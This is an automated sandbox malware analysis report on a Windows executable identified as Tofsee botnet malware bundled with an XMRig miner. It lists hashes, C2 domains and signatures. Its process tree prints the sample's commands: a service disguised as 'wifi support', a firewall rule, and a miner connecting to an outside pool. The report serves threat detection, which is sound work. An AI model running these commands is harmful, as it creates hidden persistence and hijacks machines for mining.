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Overview

overview

10

Static

static

d4c8775b95...05.exe

windows7-x64

10

d4c8775b95...05.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    205s
  • max time network
    215s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/11/2022, 21:21

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General

  • Target

    d4c8775b95b6d0f4c5384a6526afa7f00aeabb08aa6a1fe545e4193d60a2c205.exe

  • Size

    168KB

  • MD5

    c8789056c4fa188b6f6d23e2da5e8655

  • SHA1

    bffc6adeee841c0976e31d6518bab3f5e85bd589

  • SHA256

    d4c8775b95b6d0f4c5384a6526afa7f00aeabb08aa6a1fe545e4193d60a2c205

  • SHA512

    be89c3d2b76c2da856395a0d935206d9a1da034f501d8a029a8925903328cfad4e4d21ada9fe646e51fd046b197edf49f6666cc9b0d4fc2926009567cd20fba1

  • SSDEEP

    3072:9omFCseno3BYS59iEemUxOCzpSu0Ih2Wzb:Rheo3BhezxpCIA

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d4c8775b95b6d0f4c5384a6526afa7f00aeabb08aa6a1fe545e4193d60a2c205.exe
    "C:\Users\Admin\AppData\Local\Temp\d4c8775b95b6d0f4c5384a6526afa7f00aeabb08aa6a1fe545e4193d60a2c205.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4400
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\picospig\
      2⤵
        PID:728
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rxpejct.exe" C:\Windows\SysWOW64\picospig\
        2⤵
          PID:2132
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create picospig binPath= "C:\Windows\SysWOW64\picospig\rxpejct.exe /d\"C:\Users\Admin\AppData\Local\Temp\d4c8775b95b6d0f4c5384a6526afa7f00aeabb08aa6a1fe545e4193d60a2c205.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1508
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description picospig "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2340
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start picospig
          2⤵
          • Launches sc.exe
          PID:2664
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:5056
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4400 -s 668
          2⤵
          • Program crash
          PID:3644
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4400 -ip 4400
        1⤵
          PID:2172
        • C:\Windows\SysWOW64\picospig\rxpejct.exe
          C:\Windows\SysWOW64\picospig\rxpejct.exe /d"C:\Users\Admin\AppData\Local\Temp\d4c8775b95b6d0f4c5384a6526afa7f00aeabb08aa6a1fe545e4193d60a2c205.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:1292
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:1744
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2112
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1292 -s 516
            2⤵
            • Program crash
            PID:3156
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 1292 -ip 1292
          1⤵
            PID:3180

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\rxpejct.exe
            Filesize

            12.7MB

            MD5

            3aae05cf74e2d1b9db37783b7a9e3e85

            SHA1

            0d2be47294528978375f19d4ea4a95b50f794eb8

            SHA256

            902ffe9e79ad26090f07261ddd2c7a0860c810617e8ee2debb7a59e412879180

            SHA512

            f9c043f4719fbdac5f3c83f7b08cdb4c986dce33346883dd0d73b10c3c6894b3a27c42fdf12038a3ba55ba2dd395604f241c48c62db895752cbbfe2a46af09da

            Download Submit

          • C:\Windows\SysWOW64\picospig\rxpejct.exe
            Filesize

            12.7MB

            MD5

            3aae05cf74e2d1b9db37783b7a9e3e85

            SHA1

            0d2be47294528978375f19d4ea4a95b50f794eb8

            SHA256

            902ffe9e79ad26090f07261ddd2c7a0860c810617e8ee2debb7a59e412879180

            SHA512

            f9c043f4719fbdac5f3c83f7b08cdb4c986dce33346883dd0d73b10c3c6894b3a27c42fdf12038a3ba55ba2dd395604f241c48c62db895752cbbfe2a46af09da

            Download Submit

          • memory/1292-154-0x0000000000400000-0x000000000070B000-memory.dmp

            Filesize

            3.0MB

            Download

          • memory/1292-153-0x00000000009A8000-0x00000000009B9000-memory.dmp

            Filesize

            68KB

            Download

          • memory/1292-147-0x0000000000400000-0x000000000070B000-memory.dmp

            Filesize

            3.0MB

            Download

          • memory/1292-146-0x00000000009A8000-0x00000000009B9000-memory.dmp

            Filesize

            68KB

            Download

          • memory/1744-155-0x0000000001050000-0x0000000001065000-memory.dmp

            Filesize

            84KB

            Download

          • memory/1744-152-0x0000000001050000-0x0000000001065000-memory.dmp

            Filesize

            84KB

            Download

          • memory/1744-159-0x00000000023C0000-0x00000000023C6000-memory.dmp

            Filesize

            24KB

            Download

          • memory/1744-162-0x00000000023D0000-0x00000000023E0000-memory.dmp

            Filesize

            64KB

            Download

          • memory/1744-156-0x0000000002C00000-0x0000000002E0F000-memory.dmp

            Filesize

            2.1MB

            Download

          • memory/1744-171-0x00000000031E0000-0x00000000031E7000-memory.dmp

            Filesize

            28KB

            Download

          • memory/1744-168-0x0000000007E80000-0x000000000828B000-memory.dmp

            Filesize

            4.0MB

            Download

          • memory/1744-165-0x00000000031D0000-0x00000000031D5000-memory.dmp

            Filesize

            20KB

            Download

          • memory/1744-149-0x0000000001050000-0x0000000001065000-memory.dmp

            Filesize

            84KB

            Download

          • memory/2112-175-0x0000000000B00000-0x0000000000BF1000-memory.dmp

            Filesize

            964KB

            Download

          • memory/2112-180-0x0000000000B00000-0x0000000000BF1000-memory.dmp

            Filesize

            964KB

            Download

          • memory/4400-132-0x00000000007CE000-0x00000000007DF000-memory.dmp

            Filesize

            68KB

            Download

          • memory/4400-133-0x0000000000790000-0x00000000007A3000-memory.dmp

            Filesize

            76KB

            Download

          • memory/4400-134-0x0000000000400000-0x000000000070B000-memory.dmp

            Filesize

            3.0MB

            Download

          • memory/4400-141-0x0000000000790000-0x00000000007A3000-memory.dmp

            Filesize

            76KB

            Download

          • memory/4400-145-0x0000000000400000-0x000000000070B000-memory.dmp

            Filesize

            3.0MB

            Download

          • memory/4400-144-0x00000000007CE000-0x00000000007DF000-memory.dmp

            Filesize

            68KB

            Download